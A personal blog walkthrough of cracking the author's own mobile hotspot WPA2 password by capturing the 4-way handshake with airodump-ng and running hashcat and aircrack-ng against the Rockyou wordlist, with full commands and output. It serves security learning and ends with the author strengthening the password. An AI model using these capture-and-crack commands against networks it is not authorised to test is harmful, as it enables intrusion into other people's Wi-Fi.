Hacking my mobile hotspot with Aircrack-ng
This is my experience going through Brannon Dorsey’s great Wi-Fi cracking tutorial to hack my own mobile hotspot password. This is definitely not anything new but it appeared on Hacker News and I always wanted to learn how to use Aircrack-ng, so why not.
We will be sniffing out password hashes found in the WPA/WPA2 4-way handshake, which is performed when a client wants to authenticate itself to a WPA/WPA2 network using airodump-ng, and reversing the hash against a publicly available wordlist using hashcat or aircrack-ng.
We cannot use rainbow tables to reverse the hash effectively, as WPA/WPA2 uses the SSID as the salt for the hash. Instead, we rely on known weak popular passwords.
This tutorial is by no means well-prepared, as this is to merely outline the steps I took to perform my first Wi-Fi hack.
Prerequisites
You will need a wireless card that supports monitor mode, as well as airodump-ng to monitor beacon frames from Wi-Fi routers.
You will also need one of these WPA/WPA2 hash reversing tools:
hashcat(uses GPU, recommended)- Requires OpenCL (not working for me on Kali Linux)
aircrack-ng(uses CPU)
Walkthrough
First, start the monitor.
root@sm15-kali:~# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0mon ath10k_pci Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 20)
The interface here is wlan0mon, which can be verified with iwconfig.
Use airodump-ng wlan0mon to view all available Wifi networks. Identify your target and pick out the BSSID and Channel.
root@sm15-kali:~# airodump-ng wlan0mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
2E:0E:3D:E4:35:76 -43 11 0 0 11 54e WPA2 CCMP PSK IrvinAP
Next, keep monitoring the target until we can intercept a 4-way handshake, using the BSSID and Channel number retrieved earlier:
root@sm15-kali:~# airodump-ng -c 6 --bssid 2E:0E:3D:E4:35:76 -w . wlan0mon
CH 6 ][ Elapsed: 36 s ][ 2017-07-25 03:49 ][ WPA handshake: 2E:0E:3D:E4:35:76
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
2E:0E:3D:E4:35:76 -48 100 353 148 0 6 54e WPA2 CCMP PSK IrvinAP
BSSID STATION PWR Rate Lost Frames Probe
2E:0E:3D:E4:35:76 60:F8:1D:AD:A4:F8 -57 0e- 1e 0 183
Wait until you see WPA handshake in the top line, which indicates that a client is initiating an authentication attempt to the router. Most likely the password sniffed should be correct, as devices connect to Wifi networks nowadays.
You will get some network capture files in your current directory:
root@sm15-kali:~# ls -la
total 892
drwxr-xr-x 26 root root 4096 Jul 25 03:48 .
drwxr-xr-x 23 root root 4096 Jul 18 20:10 ..
-rw-r--r-- 1 root root 457187 Jul 25 02:40 .-01.cap
-rw-r--r-- 1 root root 584 Jul 25 02:40 .-01.csv
-rw-r--r-- 1 root root 602 Jul 25 02:40 .-01.kismet.csv
-rw-r--r-- 1 root root 3849 Jul 25 02:40 .-01.kismet.netxml
-rw-r--r-- 1 root root 476 Jul 25 03:28 .-02.csv
-rw-r--r-- 1 root root 589 Jul 25 03:28 .-02.kismet.csv
-rw-r--r-- 1 root root 2745 Jul 25 03:28 .-02.kismet.netxml
...
Now you can reverse the WPA/WPA2 hash which is stored in the .cap file, with either hashcat or aircrack-ng. But first, download a wordlist, such as Rockyou, which will be our source of keys that will be manually brute forced.
hashcat
hashcat didn’t work for me on Kali, so I used my Mac to do this instead. To install hashcat on a Mac, I followed these instructions.
git clone https://github.com/hashcat/hashcat.git
mkdir -p hashcat/deps
git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
cd hashcat/
make
Verify that your installation works by running one of the example scripts such as example0.sh.
Convert your .cap file to a .hccapx file first with cap2hccapx (download from hashcat-utils).
Finally, we can execute the reversal:
(pypy-venv) mbp14-osx:hashcat irvin$ ./hashcat -m 2500 IrvinAP.hccapx ../naive-hashcat/dicts/rockyou.txt
hashcat (v3.6.0-265-ga85be1d0) starting...
OpenCL Platform #1: Apple
=========================
* Device #1: Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz, skipped.
* Device #2: Iris Pro, 384/1536 MB allocatable, 40MCU
* Device #3: GeForce GT 750M, 512/2048 MB allocatable, 2MCU
Hashes: 4 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger disabled.
Watchdog: Temperature retain trigger disabled.
Dictionary cache hit:
* Filename..: ../naive-hashcat/dicts/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
59c75d223c3a28d5f813759b68597a08:2e0e3de43576:60f81dada4f8:IrvinAP:curryrice
ed6b58543af52685a7f179778ad38e7f:2e0e3de43576:60f81dada4f8:IrvinAP:curryrice
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA/WPA2
Hash.Target......: /Users/irvin/Google Drive/IrvinAP.hccapx
Time.Started.....: Tue Jul 25 03:32:58 2017 (53 secs)
Time.Estimated...: Tue Jul 25 03:33:51 2017 (0 secs)
Guess.Base.......: File (../naive-hashcat/dicts/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....: 5789 H/s (16.27ms)
Speed.Dev.#3.....: 4628 H/s (6.70ms)
Speed.Dev.#*.....: 10416 H/s
Recovered........: 2/2 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1173908/14344384 (8.18%)
Rejected.........: 620948/1173908 (52.90%)
Restore.Point....: 886805/14344384 (6.18%)
Candidates.#2....: elainemcg -> FARMERS1
Candidates.#3....: woolshed -> wardriver
Started: Tue Jul 25 03:32:53 2017
Stopped: Tue Jul 25 03:33:52 2017
We found a match - curryrice!
aircrack-ng
Alternatively, we can use the bundled aircrack-ng tool in the whole Aircrack-ng Wi-Fi cracking suite to reverse our hashes. This is already preinstalled on Kali, so no worries here.
However, as compared to hashcat, aircrack-ng runs completely on the CPU so expect it to be much slower. It took me over 100 seconds on my Aftershock SM-15 (i7-4720HQ CPU @ 2.60GHz) to complete the cracking, as compared to 60 seconds on my Mac (i7-4870HQ CPU @ 2.50GHz).
root@sm15-kali:~# aircrack-ng -a2 -b 2E:0E:3D:E4:35:76 -w bin/naive-hashcat/dicts/rockyou.txt IrvinAP.cap
Opening IrvinAP.cap
Reading packets, please wait...
Aircrack-ng 1.2 rc4
[00:01:46] 461632/9822769 keys tested (4343.99 k/s)
Time left: 35 minutes, 55 seconds 4.70%
KEY FOUND! [ curryrice ]
Master Key : 63 BE 50 BB 49 39 20 91 CB F6 3A E9 87 55 E7 D7
DB F1 70 DB 05 0E 7A 40 01 B4 AB B4 2B 94 78 FD
Transient Key : 4D 2C 6B EA B7 AF D3 38 4E 5B 69 BB 6C 36 F0 0E
15 73 16 47 A8 73 C6 F6 6E 35 07 D6 0E D4 B5 AA
97 7A AF 6A 77 86 C8 D5 A0 A4 9C 7F FF 23 92 32
07 5B 14 1A BC 6D F9 AF 33 6D 14 A7 2E D7 57 37
EAPOL HMAC : F8 0D EC 1A AD 90 D8 67 A4 36 E2 95 A0 44 27 08
Conclusion
I was pleasantly surprised to find that my actual mobile hotspot password (which I am fully aware of how weak it is) is present in the wordlist. This prompted me to change it to something much more secure yet easy to type in.
Nonetheless, the success of such a method of cracking password hashes (regardless of WPA/WPA2 or whatever) is only dependent on how weak and common the passwords are. My actual router in my room has a much more obscure password (but still weak nonetheless), and I did not manage to crack the password there.
Anyway this was a great exercise in hacking which didn’t take up much time! Would encourage anyone to try this, and subsequently go research about how all these tools work.
Until next time!